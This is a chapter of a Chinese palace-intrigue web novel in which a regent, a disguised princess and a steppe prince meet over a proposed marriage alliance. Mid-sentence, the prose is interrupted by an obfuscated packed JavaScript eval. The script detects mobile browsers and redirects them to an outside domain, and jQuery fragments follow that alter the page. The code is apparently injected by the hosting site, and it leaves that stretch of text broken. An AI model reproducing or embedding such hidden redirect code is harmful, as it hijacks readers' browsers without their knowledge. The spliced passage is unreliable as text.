清风燃烛,火光长明。
他怕黑,此刻却无比清晰地看清了她的脸。
有一瞬间,他希望只是相像而已。
不出崔姣姣所料,看清公主样貌的那一刻,阎涣方才轻蔑的神态立刻消失殆尽,神色间猛然一震,甚至忘记了在崔宥面前收敛情绪。
是她。
崔姣姣此刻心中无比绝望,还未能顺利说服崔宥放弃联姻,转眼又在自己与崔宥独处之时被阎涣看到,眼下她便是浑身长满嘴也说不清了。
他那样多心,定然认为自己是与崔宥沆瀣一气,密谋如何扳倒他。
“公主?”
阎涣几乎是从齿间挤出的这二字。
未待崔宥看清缘由,阎涣便大手一挥理了理宽袖,转过身去欲出这清心殿。
大步流星到了门槛前,他停住,脸却未转回来看她。
“长公主,好心计。”
留下这六个字,他头也不回便振衣而去。
一路上,宫道寂静漫长,阎涣听着自己因愤怒而如雷作鼓的心跳,不知为何燃起无名火来,肝胆欲碎,面色阴沉得可怕。一路上宫人们齐齐跪着送迎,皆不敢作声。
她骗我。
她竟敢协同皇帝小儿骗我!
阎涣当她是善心的民间姑娘,同她倾诉所想,赠她匕首防身,她却胆敢玩弄于人。阎涣生平最恨背叛,这便是阴差阳错犯了他的大忌。
清心殿内,崔姣姣心中刚刚燃起的希望再次石沉大海,她一步走错,竟将那萍水相逢的好感败了个干净。
自此,夜夜无梦。
数着六个星月更迭过去,怀朔部的兵卫虎贲队伍踏入了泗京皇城的大门。
入夜,一场似梦痴幻的宴席如期上演。
少帝崔宥端坐龙椅之上,而在其身侧,阎涣正端坐在一张由南海玉雕刻而成的宝椅之上,不徐不疾地捏起杯盏,抿了口放凉了的茶。
臣子们早便见怪不怪,可怀朔部远道而来的兵卫们却心中惊恐。由古自今,唯有帝王能坐在宝椅之上,可也是按着祖宗礼法,以百年红木打磨凿刻而成。
而南海玉制成的,唯此一件。
崔姣姣无心这些,只想着为何那人还未出现。
“怀朔部左贤王入殿——”
清脆的银铃声悠悠响起,众人循声望去,只见那年轻的草原王独子一身天水碧色的汉人服饰,仍旧高束着马尾发,随他轻快摆动的步子左右摇晃。
他的腰间挂着一串铃铛,在这静穆一片的贺朝王城内,搅动起一阵全然不相同的快意。
“斛律·策勒格日,向大贺皇帝问安、向大贺帝师问安。”
崔宥自是含笑奉承着,直道草原的太子便是如此与众不同,周身一派祥和之气,令人见之心中舒畅。
阎涣慢悠悠地将茶碗搁置在玉桌之上,身后立即有阎泱上前递过一方巾帕,他接过来轻沾了沾嘴唇,而后将那帕子扔了回去。待一切完毕后,终于眼皮一掀,隔着十几个台阶看向台下那人。
四目对视的一瞬,二人皆惊怔。
他们竟生了两双几近相似的狐狸眼。
策勒格日茶褐色的瞳孔不可置信地震了震,其间透着好奇和喜悦,似是寻到了什么宝物般欢心。
转眼看阎涣,他单手覆上宝椅的扶把上,五指用力捏紧,掌心透着红,若是再如此,那雕着芍药花纹的把手便会割伤了他。
怎么可能。
这世间从未有第三人拥有那样一双特别的眼睛。
阎涣忍不住打量他的全身,试图找寻出还有何处与他相同。他看见策勒格日飞扬如旗的乌发,衬着他正若花蕊迎风纷飞的年纪。
他站在殿中央,一身淡然仍旧难掩少年意气风发,剑眉微弓,身姿若峰。他的胸膛挺拔,头颅骄傲自信地仰起,深深看去,一双眼里有着和阎涣全然不同的灵气。
那是澄澈的,微波宁静的眼眸。
阎涣从他清透的瞳孔中,似乎能看穿自己此刻的模样。他一身玄衫暗比夤夜,一双眼目色寒渊,哪里有半分和面前这人相似。
他忍不住看了看策勒格日的面颊两侧、眼角,包括那不易被察觉的鬓间,凝望着,心中有一瞬的胆颤。
自己已不再年轻了。
“帝师?”
崔宥出声唤他,阎涣这才回过神来,垂眸间,松开了压出层层血痕的手。
“左贤王亲自到来,贺朝不胜荣幸。”
阎涣举起手中杯盏,嘴角挤出一丝笑意来,以茶代酒,敬这位和他有五分相似,却灿若朝阳的小草原王。
“谢帝师、谢大贺皇帝。”
策勒格日入席,举起面前酒杯,仰头将佳酿一饮而尽。
身为千岁侯,阎涣一向不喜这般恭维的场合,今日因着怀朔部派人来此,未免少帝心存侥幸,他耐着性子坐在此处瞧他究竟有何打算。
“联姻之事朕早同怀朔单于言明,今日既斛律太子亲自前来,朕便特意唤了皇姐前来,你二人也好相见一番。”
策勒格日咧开嘴一笑,心中却无半分涟漪。
早在草原之时,父王便有叮嘱,怀朔部从不参与各国征战夺地之事,此去贺朝便是为了亲口言明不愿联姻。为表诚意,策勒格日才亲自前来泗京,以免祸水引入自家门前,叫怀朔部无端被卷入战争来。
明明前些日子还说过会考虑放弃联姻,今日殿上却如此引荐二人相看,看来这崔宥还是并未全然信任庶姐崔瓷。
也难怪,书中写过,崔氏一脉多疑心病,想来崔仲明的忧愁也都继承到了儿子的身上。
崔姣姣无奈,只好跟着弟弟的话语起身,面朝着对岸席上的策勒格日盈盈一屈膝,道:
“左贤王年少有为、意气风发,崔瓷钦佩。”
再抬眸,策勒格日唯恐自己看花了眼。
面前这自称贺朝长公主的女子,正是数月来他念念不忘之人。
那日马下救童,她不曾留下姓名,只让策勒格日以为,他们一生不会再相见,此后茶饭不思,忧郁至今。不成想,命运竟如此爱怜于他,将他日思夜想的中原姑娘赐到了面前。
“公主…”
他雀跃得忘了如何言语,又有些急着对她道:
“感谢长生天,让我得见公主一面。”
策勒格日望着她顾盼生辉的模样,心中欣喜异常。
原是天赐良缘,这下便不必取消联姻,不仅如此,他还要禀明父王,要与心爱的女子在草原上办一场盛大的婚礼,让长生天见证,为他们的结合赐福。
“左贤王,我…”
崔姣姣正不知如何开口才不得罪崔宥之时,阎涣却先一步张了嘴,道:
“孤认为,联姻之事还需深思。”
她有些不可置信地转过头去,只见宝座之上的帝师千岁侯依旧是副阴沉的模样,等了又等,拿起了终于放冷的一盏茶,不紧不慢地品起余香来。
温度刚好。
策勒格日有些急了,忙问为何突然变了主意,阎涣只道公主尚年轻,择婿须细细地挑,自然要选一位万里挑一、又令公主心爱之人才可。
“我身为草
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615303|172205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原左贤王,文武皆通,识得中原汉字,又诚意求娶,莫不是万里挑一之人?”
阎涣不紧不慢地将身子向后靠上椅背,单手与茶杯口处摩挲着,不知在想些什么。
见他这副模样,崔姣姣深知该推他一把,便张口道:
“左贤王误会了,你出身高贵、样貌俊朗,自是天下间万里挑一的男子,并非左贤王不好,而是崔瓷不好。”
崔瓷接着想出一个几乎完美的理由来:
“我生来与父皇母妃分离,而今好容易与皇弟团聚,实在割舍不下血脉亲情。”
策勒格日对着她释然一笑,立刻回道:
“公主不必忧虑,我立即修书回怀朔,待大贺皇帝允准,我即刻便在皇城旁买下田地为公主建一座府邸,如此一来,公主随时可以回泗京小住。自然,若公主实在不习惯草原生活,我便禀明父王,与公主一同留在泗京。”
他竟能为崔瓷做到这个地步来。
崔姣姣心中羡慕,果然一见钟情便该是如此,认定了一个人,倾其所有也要满足她的一切要求。想到此处,崔姣姣咬咬牙,接着编出许多捧高踩低的话来:
“崔瓷自幼长在司州,从未踏入皇城一步,文墨不甚通晓,骑射更是不佳,样貌平平,挑不出任何能赞叹之处,实难与左贤王相配。”
崔宥眉心拧着,显然对崔姣姣不够恭顺的态度生出不满,刚要开口斥责,一旁阎涣却不动声色地杀了一个眼神,他顿时哑了火。
同样沉默的,还有台下的策勒格日。
她那样貌美、如此聪慧善良,却为了不嫁给自己,说出许多贬损自己的话来,可见,是真心不中意自己的。
策勒格日停了方才神采奕奕的模样,转而静下来,对着崔姣姣挤出一抹笑,回道:
“公主的意思,我明白了。”
崔宥眼看联姻将要告吹,有些耐不住性子地于龙椅上叹息起来,到底是十几岁的孩童,落入阎涣的眼中,只不过是黄口小儿的怨气罢了。
“左贤王。”
他唤,策勒格日便侧过身与他相视对望。
阎涣姿态安闲地端坐在南海玉的宝座之上,周身散着鲜血铸就的杀气,他面无表情,仅需一个抬眸便诛心于无形。
顿了一刻,阎涣只是淡淡道:
“公主既不愿,孤自然遵循公主的心意。”
“只好对不住了。”
崔姣姣以为是看错了,竟从阎涣的唇边读出一抹得意来。
帝师发了话,众人无不点头应下,崔宥双拳于袖口下紧握成拳,隐隐的恨满上心头,险些控制不住。只是侧过脸去望向他时,仍能对着这位权势滔天的千岁侯,做出一个沉稳的微笑。
“陛下觉得呢?”
阎涣抬手,身后的阎泱便为他奉上一盏新茶。
崔宥拼命地克制胸口起伏,掌心被指甲嵌入了一层,此刻明黄的龙袍宽袖之下,鲜血湿濡了一片。
茶盖掀去,阎涣将唇靠近,欲尝一口这新晾好的冷茶。
“朕,自是尊帝师之意。”
一口入喉,酣畅淋漓。
“还是敬亭绿雪合我心意。”
“下次莫要再拿龙凤团,朝贡的茶叶一股腥气,孤瞧不上。”
说罢,他起身,手背扫了扫方才坐皱了些的衣袍,走下高台,于一众黑衣近卫的拥护下扬长而去,自始至终未给崔宥一个正眼。只是于策勒格日擦肩之时,忍不住又瞥了眼,而后不动声色地去了。
崔宥气得发抖,哪里留意得到,二人相像的那一双狐狸眼。